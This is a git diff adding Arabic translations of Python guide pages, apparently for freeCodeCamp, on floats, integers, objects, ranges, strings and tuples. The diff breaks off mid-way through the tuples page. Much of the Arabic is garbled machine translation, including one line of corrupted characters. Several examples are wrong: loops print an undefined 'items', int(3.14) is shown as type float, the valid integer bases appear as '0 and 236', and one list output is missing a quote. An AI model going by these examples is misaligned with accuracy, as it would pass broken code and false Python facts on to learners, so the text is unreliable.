+للحلقة فوق كل من المفتاح والقيمة ، يمكنك استخدام ما يلي:  
+لبيثون 2.x:
+
+ `    >>> for key, item in d.iteritems(): 
+    ...     print items 
+    ... 
+    1 
+    2 
+    3 
+` 
+
+استخدام **`items()`** لـ Python 3.x:
+
+ `    >>> for key, item in d.items(): 
+    ...     print(key, items) 
+    ... 
+    x 1 
+    y 2 
+    z 3 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/floating-point-numbers/index.md b/client/src/guide/arabic/python/data-structures/floating-point-numbers/index.md
new file mode 100644
index 0000000000..d792a12300
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/floating-point-numbers/index.md
@@ -0,0 +1,117 @@
+---
+title: Python Floating Point Numbers
+localeTitle: بايثون العائمة نقطة أرقام
+---
+يمكن العثور [هنا على](https://docs.python.org/3/tutorial/floatingpoint.html) بعض المعلومات العامة حول أرقام النقاط العائمة وكيفية عملها في بايثون.
+
+تتبع جميع تطبيقات بايثون تقريبًا مواصفات IEEE 754: قياسي لحساب الحساب العائم الثنائي Binary Floating-Point Arithmetic. تم العثور على مزيد من المعلومات على [موقع IEEE](http://grouper.ieee.org/groups/754/) .
+
+يمكن إنشاء الكائنات [العائمة](https://docs.python.org/3/reference/lexical_analysis.html#floating-point-literals) باستخدام [القيم الحرفية العائمة](https://docs.python.org/3/reference/lexical_analysis.html#floating-point-literals) :
+
+ `>>> 3.14 
+ 3.14 
+ >>> 314\.    # Trailing zero(s) not required. 
+ 314.0 
+ >>> .314    # Leading zero(s) not required. 
+ 0.314 
+ >>> 3e0 
+ 3.0 
+ >>> 3E0     # 'e' or 'E' can be used. 
+ 3.0 
+ >>> 3e1     # Positive value after e moves the decimal to the right. 
+ 30.0 
+ >>> 3e-1    # Negative value after e moves the decimal to the left. 
+ 0.3 
+ >>> 3.14e+2 # '+' not required but can be used for exponent part. 
+ 314.0 
+` 
+
+لا تحتوي القيم الحرفية الرقمية على أي إشارة ، إلا أنه من الممكن إنشاء كائنات عائمة سلبية عن طريق البدء بمعامِل وحيد `-` (ناقص) بدون مساحة قبل الحرف
+
+ `>>> -3.141592653589793 
+ -3.141592653589793 
+ >>> type(-3.141592653589793) 
+ <class 'float'> 
+` 
+
+وبالمثل ، يمكن أن تبدأ مسبقات الأجسام الموجبة الإيجابية بعامل وحيد `+ (` زائد) بدون مساحة قبل الحرفية. عادةً ما يتم حذف `+` :
+
+ `>>> +3.141592653589793 
+ 3.141592653589793 
+` 
+
+ﻻﺣ Note أن اﻟﺼﻔﺮ (اﻟﺼﻔﺤﺎت) اﻟﻘﻴﺎدﻳﺔ واﻟﺰاﻣﻨﺔ ﺻﺎﻟﺤﺔ ﻟﻠﺤﺮوف اﻟﻔﺎرﻏﺔ
+
+ `>>> 0.0 
+ 0.0 
+ >>> 00.00 
+ 0.0 
+ >>> 00100.00100 
+ 100.001 
+ >>> 001e0010      # Same as 1e10 
+ 10000000000.0 
+` 
+
+إن [منشئ `float`](https://docs.python.org/3/library/functions.html#float) طريقة أخرى لإنشاء كائنات `float` .
+
+خلق `float` الأجسام العائمة مع الحرفية نقطة ويفضل عندما يكون ذلك ممكنا:
+
+ `>>> a = 3.14         # Prefer floating point literal when possible. 
+ >>> type(a) 
+ <class 'float'> 
+ >>> b = int(3.14)    # Works but unnecessary. 
+ >>> type(b) 
+ <class 'float'> 
+` 
+
+ومع ذلك ، يسمح منشئ floatctor إنشاء كائنات عائمة من أنواع الأعداد الأخرى:
+
+ `>>> a = 4 
+ >>> type(a) 
+ <class 'int'> 
+ >>> print(a) 
+ 4 
+ >>> b = float(4) 
+ >>> type(b) 
+ <class 'float'> 
+ >>> print(b) 
+ 4.0 
+ >>> float(400000000000000000000000000000000) 
+ 4e+32 
+ >>> float(.00000000000000000000000000000004) 
+ 4e-32 
+ >>> float(True) 
+ 1.0 
+ >>> float(False) 
+ 0.0 
+` 
+
+سيقوم منشئ `float` أيضًا بجعل الكائنات `float` من السلاسل التي تمثل القيم الحرفية العددية:
+
+ `>>> float('1') 
+ 1.0 
+ >>> float('.1') 
+ 0.1 
+ >>> float('3.') 
+ 3.0 
+ >>> float('1e-3') 
+ 0.001 
+ >>> float('3.14') 
+ 3.14 
+ >>> float('-.15e-2') 
+ -0.0015 
+` 
+
+يمكن أيضًا استخدام منشئ `float` لجعل التمثيل الرقمي لـ `NaN` (ليس رقمًا) ، `infinity` السالبة `infinity` (السلاسل الملاحظة لهؤلاء غير حساسة لحالة الأحرف):
+
+ `>>> float('nan') 
+ nan 
+ >>> float('inf') 
+ inf 
+ >>> float('-inf') 
+ -inf 
+ >>> float('infinity') 
+ inf 
+ >>> float('-infinity') 
+ -inf 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/index.md b/client/src/guide/arabic/python/data-structures/index.md
new file mode 100644
index 0000000000..8a76ce1855
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/index.md
@@ -0,0 +1,18 @@
+---
+title: The Python Data Structures
+localeTitle: هياكل بيانات بايثون
+---
+هيكل البيانات هو طريقة خاصة لتنظيم البيانات في الكمبيوتر بحيث يمكن استخدامها بكفاءة. بيثون تأتي مع مجموعة قوية من هياكل البيانات يحمل في ثناياه عوامل. بعض من الأكثر استخداما هي: -
+
+*   قوائم
+*   الصفوف
+*   قواميس
+
+بشكل كبير ، يمكن تقسيم هياكل البيانات إلى فئتين:
+
+*   Mutable: - بنية البيانات القابلة للتغيير هي بنية يمكن تعديل حالتها بعد إنشائها. بيثون القوائم والقواميس هي قابلة للتغيير.
+*   غير قابل للتغيير: - لا يمكن تعديل بنية البيانات غير القابلة للتغيير. مثال: - بمجرد إنشاء فئة ، لا يمكننا تحديث القيم بداخله.
+
+## مرجع:
+
+[بايثون هياكل البيانات](https://docs.python.org/3.7/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/integers/index.md b/client/src/guide/arabic/python/data-structures/integers/index.md
new file mode 100644
index 0000000000..00e7569edc
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/integers/index.md
@@ -0,0 +1,164 @@
+---
+title: Python Integers
+localeTitle: بايثون الاعداد الصحيحه
+---
+المجال النظري للأعداد الصحيحة في python هو إنفيني سلبي إلى ما لا نهاية. في الممارسة العملية ، يتم تحديد القيم الصحيحة بواسطة مقدار الذاكرة المتوفرة.
+
+في Python 2 ، كان هناك تمييز بين **`int`** ، والأرقام التي تتناسب مع 32 أو 64 بت _C_ **`long`** ، وأرقام **`long`** محدودة بالذاكرة المتوفرة. بيثون 3 توحد بين نوعين في **`int`** فقط ، مزيد من المعلومات في [PEP 237](https://www.python.org/dev/peps/pep-0237/) .
+
+**إنشاء `int` باستخدام حرفية عدد صحيح**
+
+[عدد صحيح](https://docs.python.org/3/reference/lexical_analysis.html#integer-literals)
+
+يمكن إنشاء _كائنات عدد صحيح_ باستخدام استخدام عدد صحيح من القيم الحرفية. الأرقام غير المزينة بدون الكسور العشرية هي عدد صحيح من القيم الحرفية:
+
+ `>>> 1234567890           # Unadorned numbers are integer literals 
+ 1234567890 
+ >>> type(1234567890) 
+ <class 'int'> 
+` 
+
+لا تحتوي القيم الحرفية الرقمية على إشارة ، ولكن إنشاء _كائنات صحيحة_ سالبة ممكن عن طريق البدء بمعامِل وحيد `-` (ناقص) بدون فراغ قبل الحرفية:
+
+ `>>> -1234567890 
+ -1234567890 
+ >>> type(-1234567890) 
+ <class 'int'> 
+` 
+
+وبالمثل ، يمكن إنشاء كائنات صحيحة موجبة عن طريق بدء تشغيل عامل `+` (زائد) أحادي بدون فراغ قبل الأرقام. عادة ما يكون `+` هو:
+
+ `>>> +1234 
+ 1234 
+` 
+
+يمكن إنشاء الأعداد الصحيحة ثنائية (قاعدة 2 ، البادئة: `0b` أو `0B` ) ، ثماني (قاعدة 8 ، البادئة: `0o` أو `0O` ) ، `0O` السداسية العشرية (الأساس 16 ، البادئة: `0x` أو `0X` ) باستخدام القيم الحرفية الصحيحة:
+
+ `>>> 0b1, 0b10, 0b11 
+ (1, 2, 3) 
+ >>> 0o1, 0o10, 0o11 
+ (1, 8, 9) 
+ >>> 0x1, 0x10, 0x11 
+ (1, 16, 17) 
+` 
+
+تجدر الإشارة إلى أنه **لا يُسمح بترك** 0 من القيم الحرفية الصحيحة غير الصفرية:
+
+ `>>> 0     # Zero by itself is okay. 
+ 0 
+ >>> 01    # Leading zero(s) cause SyntaxError. 
+  File "<stdin>", line 1 
+    01 
+     ^ 
+ SyntaxError: invalid token 
+` 
+
+[المنشئ](https://docs.python.org/3/library/functions.html#int) `int` طريقة أخرى لإنشاء _كائنات عدد صحيح_ .
+
+ `class int(x=0) 
+ class int(x, base=10) 
+` 
+
+يفضل إنشاء _كائنات صحيحة_ ذات قيم حرفية صحيحة عند الإمكان:
+
+ `>>> a = 1         # Prefer integer literal when possible. 
+ >>> type(a) 
+ <class 'int'> 
+ >>> b = int(1)    # Works but unnecessary. 
+ >>> type(b) 
+ <class 'int'> 
+` 
+
+ومع ذلك ، يسمح المُنشئ بإنشاء _كائنات صحيحة_ من أنواع الأعداد الأخرى:
+
+ `>>> a = 1.123 
+ >>> type(a) 
+ <class 'float'> 
+ >>> print(a) 
+ 1.123 
+ >>> b = int(1.123) 
+ >>> type(b) 
+ <class 'int'> 
+ >>> print(b) 
+ 1 
+` 
+
+باستخدام `int` المنشئ لأرقام النقطة العائمة سيتم اقتطاع الرقم باتجاه صفر:
+
+ `>>> int(-1.23) 
+ -1 
+ >>> int(1.23) 
+ 1 
+` 
+
+الثوابت `boolean` المضمنة هي مثيلات من فئة `bool` ، وهي فئات فرعية لفئة `int` ، مما يجعلها نوعًا من النوع العددي:
+
+ `>>> type(True) 
+ <class 'bool'> 
+ >>> issubclass(bool, int) 
+ True 
+` 
+
+إذا كان ذلك غير منطقي بالنسبة لك ، فلا تقلق. الآن فقط تذكر أن استدعاء منشئ int مع كائنات `boolean` سيتم إرجاع _كائنات عدد صحيح_ :
+
+ `>>> int(True) 
+ 1 
+ >>> int(False) 
+ 0 
+` 
+
+سيقوم منشئ `int` أيضًا بإنشاء _كائنات صحيحة_ من السلاسل:
+
+ `>>> a = "10" 
+ >>> type(a) 
+ <class 'str'> 
+ >>> b = int("10") 
+ >>> type(b) 
+ <class 'int'> 
+` 
+
+يجب أن تمثل _سلاسل_ منشئ `int` عددًا صحيحًا حرفيًا:
+
+المعلمة الثانية من `int` هي تحديد أساس (الافتراضي: 10). القواعد الصالحة هي 0 و236.
+
+إذا تم توفير قاعدة صريحة يجب أن تكون الوسيطة الأولى عبارة عن سلسلة.
+
+ `>>> int("111", 2) 
+ 7 
+ >>> int(111, 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ TypeError: int() can't convert non-string with explicit base 
+` 
+
+يجب أن تكون السلسلة المستخدمة منشئ `int` مع قاعدة صريحة حاصية عدد صحيح صالحة لهذه القاعدة:
+
+ `>>> int('11', 2) 
+ 3 
+ >>> int('12', 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: invalid literal for int() with base 2: '12' 
+` 
+
+يمكن استخدام كل من السلاسل البادئة وغير المسبوقة من القيم الحرفية الصحيحة ، في حالة استخدامها ، يجب أن تتطابق البادئة مع القاعدة المقدمة.
+
+ `>>> int('1101', 2) 
+ 13 
+ >>> int('0b1101', 2) 
+ 13 
+ >>> int('0x1101', 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: invalid literal for int() with base 2: '0x1101' 
+` 
+
+إذا تم استخدام سلسلة مسبوقة والبقاعدة 0 ، فسيستخدم الكائن الصحيح الذي تم إنشاؤه الأساس المحدد بواسطة البادئة. إذا لم يتم استخدام البادئة ، فسيتم افتراض الأساس 10
+
+ `>>> int('100', 0) 
+ 100 
+ >>> int('0b100', 0) 
+ 4 
+ >>> int('0o100', 0) 
+ 64 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/objects/index.md b/client/src/guide/arabic/python/data-structures/objects/index.md
new file mode 100644
index 0000000000..ae4186a572
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/objects/index.md
@@ -0,0 +1,109 @@
+---
+title: The Python Objects
+localeTitle: كائنات بايثون
+---
+> في بيثون ، كل شيء _كائن_ .
+
+تمثل _الكائنات_ مجموعة منطقية من السمات. السمات هي البيانات و / أو الوظائف. عندما يتم إنشاء كائن في Python يتم إنشاؤه _بهوية_ _ونوع_ _وقيمة_ .
+
+في اللغات الأخرى ، _الأوليات_ هي _قيم_ لا تحتوي على _خصائص_ (سمات). على سبيل المثال ، في javascript `undefined` ، `undefined` `null` ، `boolean` ، `string` ، `number` ، `symbol` (الجديد في ECMAScript 2015) هي مواد أولية.
+
+في بايثون ، لا توجد أوليات. `None` ، أو _منطقي_ ، أو _سلاسل_ ، أو _أرقام_ ، أو حتى _الدوال_ كلها _كائنات_ بغض النظر عن كيفية إنشائها.
+
+يمكننا توضيح ذلك باستخدام بعض الوظائف المدمجة:
+
+*   [`id`](https://docs.python.org/3/library/functions.html#id)
+*   [`type`](https://docs.python.org/3/library/functions.html#type)
+*   [`dir`](https://docs.python.org/3/library/functions.html#dir)
+*   [`issubclass`](https://docs.python.org/3/library/functions.html#issubclass)
+
+الثوابت المضمنة `None` و `True` و `False` هي _كائنات_ :
+
+نحن اختبار `None` كائن هنا.
+
+ `>>> id(None) 
+ 4550218168 
+ >>> type(None) 
+ <class 'NoneType'> 
+ >>> dir(None) 
+ [__bool__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] 
+ >>> issubclass(type(None), object) 
+ True 
+` 
+
+بعد ذلك ، دعونا نفحص `True` .
+
+ `>>> id(True) 
+ 4550117616 
+ >>> type(True) 
+ <class 'bool'> 
+ >>> dir(True) 
+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(True), object) 
+ True 
+` 
+
+لا يوجد سبب لترك خارج `False` !
+
+ `>>> id(False) 
+ 4550117584 
+ >>> type(False) 
+ <class 'bool'> 
+ >>> dir(False) 
+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(False), object) 
+ True 
+` 
+
+_سلاسل_ ، حتى عندما تم إنشاؤها بواسطة القيم الحرفية سلسلة ، هي أيضا _الكائنات_ .
+
+ `>>> id("Hello campers!") 
+ 4570186864 
+ >>> type('Hello campers!') 
+ <class 'str'> 
+ >>> dir("Hello campers!") 
+ ['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] 
+ >>> issubclass(type('Hello campers!'), object) 
+ True 
+` 
+
+الشيء نفسه مع _الأرقام_
+
+ `>>> id(42) 
+ 4550495728 
+ >>> type(42) 
+ <class 'int'> 
+ >>> dir(42) 
+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(42), object) 
+ True 
+` 
+
+## وظائف هي كائنات أيضا
+
+> في بايثون ، تعتبر الدوال كائنات من الدرجة الأولى.
+
+_تعتبر الدوال_ في Python أيضًا _كائنات_ تم إنشاؤها باستخدام _هوية_ _ونوع_ _وقيمة_ . هم أيضا يمكن أن تنتقل إلى _وظائف_ أخرى:
+
+ `>>> id(dir) 
+ 4568035688 
+ >>> type(dir) 
+ <class 'builtin_function_or_method'> 
+ >>> dir(dir) 
+ ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] 
+ >>> issubclass(type(dir), object) 
+ True 
+` 
+
+من الممكن أيضًا ربط الدالات بالاسم وتسمى الدالة المندمجة باستخدام هذا الاسم:
+
+ `>>> a = dir 
+ >>> print(a) 
+ <built-in function dir> 
+ >>> a(a) 
+ ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] 
+` 
+
+مصادر:
+
+*   [انقر هنا](https://www.jeffknupp.com/blog/2014/06/18/improve-your-python-python-classes-and-object-oriented-programming/) لمعرفة المزيد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/ranges/index.md b/client/src/guide/arabic/python/data-structures/ranges/index.md
new file mode 100644
index 0000000000..dfe6c84aaf
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/ranges/index.md
@@ -0,0 +1,82 @@
+---
+title: The Python Range
+localeTitle: نطاق بايثون
+---
+## بايثون نطاقات
+
+بدلاً من كونه دالة ، فإن النطاق هو في الواقع [نوع متسلسل غير قابل للتغيير](https://docs.python.org/3/library/stdtypes.html#immutable-sequence-types) ويشيع استخدامه لحل عدد محدد من المرات في الحلقات.
+
+**خلق:**
+
+يتم إنشاء `ranges` باستخدام منشئ `range` . المعلمات منشئ هي:
+
+*   `start` : القيمة الأولى الشاملة للنطاق (عدد صحيح اختياري ، القيم الافتراضية إلى 0).
+*   `stop` : قيمة التوقف الحصرية ، يتوقف النطاق عند توفير هذه القيمة أو أكبر (العدد الصحيح المطلوب).
+*   `step` : القيمة المضافة إلى القيمة الحالية للحصول على القيمة التالية (عدد صحيح اختياري ، الإعداد الافتراضي إلى 1).
+
+ `>>> range(10)          # Only the stop parameter is required. 
+ range(0, 10) 
+ >>> range(0, 10)       # Default for start parameter is 0. 
+ range(0, 10) 
+ >>> range(0, 10, 1)    # Default for step is 1\. Start parameter is required if 
+ step is needed. 
+ range(0, 10) 
+` 
+
+**أمثلة:**
+
+ونظرًا لأن `ranges` متكررة ، يمكن تمريرها إلى `list` `tuple` لإنشاء هذه الأنواع من التسلسلات. باستخدام هذه الحقيقة ، يمكننا تصور بعض الأمثلة:
+
+ `>>> list(range(10))     # range as argument for list constructor. 
+ [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 
+ >>> tuple(range(10))    # range as argument for tuple constructor. 
+ (0, 1, 2, 3, 4, 5, 6, 7, 8, 9) 
+` 
+
+`ranges` طول الصفر:
+
+ `>>> list(range(10, 0))        # start greater than stop with postive step. 
+ [] 
+ >>> list(range(10, 10))       # start equal to stop with postive step. 
+ [] 
+ >>> list(range(10, 10, -1))   # start equal to stop with negative step. 
+ [] 
+ >>> list(range(0, 10, -1))    # start less than stop with negative step. 
+ [] 
+` 
+
+`ranges` مع وسيطات الخطوة:
+
+ `>>> list(range(0, 10, 2))       # next value would be 10, stops at 8. 
+ [0, 2, 4, 6, 8] 
+ >>> list(range(0, 10, 3))       # next value would be 12, stops at 9. 
+ [0, 3, 6, 9] 
+ >>> list(range(0, 10, 4))       # next value would be 12, stops at 8. 
+ [0, 4, 8] 
+ >>> list(range(10, 0, -1))      # negative step makes decreasing ranges. 
+ [10, 9, 8, 7, 6, 5, 4, 3, 2, 1] 
+ >>> list(range(-5, -30, -3))    # negative integers are valid arguments. 
+ [-5, -8, -11, -14, -17, -20, -23, -26, -29] 
+` 
+
+**فوائد:**
+
+إن الفائدة من استخدام `range` هي أنه بغض النظر عن مدى نطاق معين ، فإن هناك حاجة إلى كمية صغيرة من الذاكرة لتخزين `range` ، وقيم البدء ، والتوقف ، والخطوة. يتم حساب القيم الفردية `ranges` عند التكرار.
+
+ `>>> import sys 
+ >>> a_range = range(1000000) 
+ >>> a_list = list(a_range) 
+ >>> a_tuple = tuple(a_range) 
+ >>> sys.getsizeof(a_range) 
+ 48 
+ >>> sys.getsizeof(a_list) 
+ 9000112 
+ >>> sys.getsizeof(a_tuple) 
+ 8000048 
+` 
+
+### مزيد من المعلومات:
+
+[بيثون دوك - النطاقات](https://docs.python.org/3/library/stdtypes.html#ranges)
+
+**TODO: `ranges` الطرق لا تنفذ ولا تنفذ**
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/scopes/index.md b/client/src/guide/arabic/python/data-structures/scopes/index.md
new file mode 100644
index 0000000000..21055ff818
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/scopes/index.md
@@ -0,0 +1,13 @@
+---
+title: The Python Scopes
+localeTitle: بيثون سكوبس
+---
+**قائمة: ملاحظة**
+
+*   هذا ينتمي إلى كتلة التعليمات البرمجية ومعلومات المسافة البادئة.
+*   ويرتبط ذلك أيضًا بالمتغيرات حيث أن البحث عن الأسماء والترابط يرتبطان بالنطاقات.
+
+**TODO: CONTENT**
+
+*   `global`
+*   `nonlocal`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/strings/index.md b/client/src/guide/arabic/python/data-structures/strings/index.md
new file mode 100644
index 0000000000..60dba52000
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/strings/index.md
@@ -0,0 +1,32 @@
+---
+title: The Python Strings
+localeTitle: سلاسل بايثون
+---
+يسمح Python `str` كائنات `str` أو _سلاسل الأحرف_ بعدة طرق مختلفة:
+
+*   علامات التنصيص المفردة: `'Single quote strings can have "double" quotes inside.'` الاقتباس الأحادية على علامات `'Single quote strings can have "double" quotes inside.'`
+    
+*   علامات الاقتباس المزدوجة: `"Double quote strings can have 'single' quotes inside."` الاقتباس المزدوجة على علامات `"Double quote strings can have 'single' quotes inside."`
+    
+*   الثلاثي المقتبس:
+    
+     `"""Triple quoted strings can span multiple lines. 
+     Unescaped "double" and 'single' quotes in triple quoted strings are retained.""" 
+     
+     '''Triple quoted strings can be 'single'or "double" quotes. 
+     Unescaped newlines are also retained.''' 
+    ` 
+    
+*   غير قابل للتغيير: لا يمكنك تحرير / تغيير سلسلة Python مباشرة بعد إنشائها. على سبيل المثال ، إذا حاولت إعادة تعيين / تغيير الحرف الأول مباشرةً في سلسلة ، فسيتم طرح خطأ.
+    
+     `>>> foo = "my string" 
+     >>> foo[0] = "a" 
+     Traceback (most recent call last): 
+            File "<stdin>", line 1, in <module> 
+     TypeError: 'str' object does not support item assignment 
+    ` 
+    
+
+## مرجع:
+
+[نوع تسلسل النص _str_](https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/data-structures/tuples/index.md b/client/src/guide/arabic/python/data-structures/tuples/index.md
new file mode 100644
index 0000000000..72d6c15dee
--- /dev/null
+++ b/client/src/guide/arabic/python/data-structures/tuples/index.md
@@ -0,0 +1,184 @@
+---
+title: The Tuples
+localeTitle: الصفوف
+---
+## الصفوف
+
+تعتبر المجموعة مجموعة من كائنات Python. الصفوف غير قابلة للتغيير ، مما يعني أنه لا يمكن تعديلها بعد الإنشاء ، على عكس القوائم.
+
+**خلق:**
+
+يتم إنشاء `tuple` فارغة باستخدام زوج من الأقواس المستديرة ، `()` :
+
+ `    >>> empty_tuple = () 
+    >>> print(empty_tuple) 
+    () 
+    >>> type(empty_tuple) 
+    <class 'tuple'> 
+    >>> len(empty_tuple) 
+    0 
+` 
+
+A `tuple` تم إنشاؤه باستخدام العناصر عن طريق فصل العناصر بفواصل (المحيطة الأقواس مستديرة، `()` ، اختيارية مع بعض الاستثناءات):
+
+ `    >>> tuple_1 = 1, 2, 3       # Create tuple without round brackets. 
+    >>> print(tuple_1) 
+    (1, 2, 3) 
+    >>> type(tuple_1) 
+    <class 'tuple'> 
+    >>> len(tuple_1) 
+    3 
+    >>> tuple_2 = (1, 2, 3)     # Create tuple with round brackets. 
+    >>> print(tuple_2) 
+    (1, 2, 3) 
+    >>> tuple_3 = 1, 2, 3,      # Trailing comma is optional. 
+    >>> print(tuple_3) 
+    (1, 2, 3) 
+    >>> tuple_4 = (1, 2, 3,)    # Trailing comma in round brackets is also optional. 
+    >>> print(tuple_4) 
+    (1, 2, 3) 
+` 
+
+A `tuple` يجب أن يكون مع وجود عنصر واحد الفاصلة زائدة (مع أو بدون أقواس جولة):
+
+ `    >>> not_tuple = (2)    # No trailing comma makes this not a tuple. 
+    >>> print(not_tuple) 
+    2 
+    >>> type(not_tuple) 
+    <class 'int'> 
+    >>> a_tuple = (2,)     # Single element tuple. Requires trailing comma. 
+    >>> print(a_tuple) 
+    (2,) 
+    >>> type(a_tuple) 
+    <class 'tuple'> 
+    >>> len(a_tuple) 
+    1 
+    >>> also_tuple = 2,    # Round brackets omitted. Requires trailing comma. 
+    >>> print(also_tuple) 
+    (2,) 
+    >>> type(also_tuple) 
+    <class 'tuple'> 
+` 
+
+مطلوبة الأقواس المستديرة في حالات الغموض (إذا كانت المجموعة جزءًا من تعبير أكبر):
+
+> لاحظ أنه في الواقع الفاصلة التي تجعل tuple ، وليس الأقواس. الأقواس اختيارية ، باستثناء حالة الطبقة الفارغة ، أو عندما تكون هناك حاجة لتجنب الغموض النحوي. على سبيل المثال ، `f(a, b, c)` عبارة عن استدعاء دالة بثلاث وسيطات ، بينما `f((a, b, c))` هي دالة استدعاء مع 3-tuple باعتبارها الوسيطة الوحيدة.
+
+ `    >>> print(1,2,3,4,)          # Calls print with 4 arguments: 1, 2, 3, and 4 
+    1 2 3 4 
+    >>> print((1,2,3,4,))        # Calls print with 1 argument: (1, 2, 3, 4,) 
+    (1, 2, 3, 4) 
+    >>> 1, 2, 3 == (1, 2, 3)     # Equivalent to 1, 2, (3 == (1, 2, 3)) 
+    (1, 2, False) 
+    >>> (1, 2, 3) == (1, 2, 3)   # Use surrounding round brackets when ambiguous. 
+    True 
+` 
+
+A `tuple` كما يمكن إنشاء مع `tuple` المنشئ:
+
+ `    >>> empty_tuple = tuple() 
+    >>> print(empty_tuple) 
+    () 
+    >>> tuple_from_list = tuple([1,2,3,4]) 
+    >>> print(tuple_from_list) 
+    (1, 2, 3, 4) 
+    >>> tuple_from_string = tuple("Hello campers!") 
+    >>> print(tuple_from_string) 
+    ('H', 'e', 'l', 'l', 'o', ' ', 'c', 'a', 'm', 'p', 'e', 'r', 's', '!') 
+    >>> a_tuple = 1, 2, 3 
+    >>> b_tuple = tuple(a_tuple)    # If the constructor is called with a tuple for 
